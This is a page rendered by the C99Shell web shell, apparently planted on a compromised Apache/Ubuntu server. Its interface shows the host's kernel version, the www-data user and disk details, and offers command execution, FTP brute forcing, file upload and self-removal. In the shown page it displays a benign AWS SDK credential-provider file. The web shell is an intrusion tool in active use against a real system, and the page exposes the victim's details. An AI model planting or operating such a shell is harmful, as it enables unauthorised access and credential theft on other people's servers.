!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/sites/node_modules/@aws-sdk/credential-provider-process/dist-es/   drwxr-xr-x
Free 13.31 GB of 57.97 GB (22.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     resolveProcessCredentials.js (1.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import { __awaiter, __generator } from "tslib";
import { CredentialsProviderError } from "@aws-sdk/property-provider";
import { exec } from "child_process";
import { promisify } from "util";
import { getValidatedProcessCredentials } from "./getValidatedProcessCredentials";
export var resolveProcessCredentials = function (profileName, profiles) { return __awaiter(void 0, void 0, void 0, function () {
    var profile, credentialProcess, execPromise, stdout, data, error_1;
    return __generator(this, function (_a) {
        switch (_a.label) {
            case 0:
                profile = profiles[profileName];
                if (!profiles[profileName]) return [3, 7];
                credentialProcess = profile["credential_process"];
                if (!(credentialProcess !== undefined)) return [3, 5];
                execPromise = promisify(exec);
                _a.label = 1;
            case 1:
                _a.trys.push([1, 3, , 4]);
                return [4, execPromise(credentialProcess)];
            case 2:
                stdout = (_a.sent()).stdout;
                data = void 0;
                try {
                    data = JSON.parse(stdout.trim());
                }
                catch (_b) {
                    throw Error("Profile ".concat(profileName, " credential_process returned invalid JSON."));
                }
                return [2, getValidatedProcessCredentials(profileName, data)];
            case 3:
                error_1 = _a.sent();
                throw new CredentialsProviderError(error_1.message);
            case 4: return [3, 6];
            case 5: throw new CredentialsProviderError("Profile ".concat(profileName, " did not contain credential_process."));
            case 6: return [3, 8];
            case 7: throw new CredentialsProviderError("Profile ".concat(profileName, " could not be found in shared credentials file."));
            case 8: return [2];
        }
    });
}); };

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--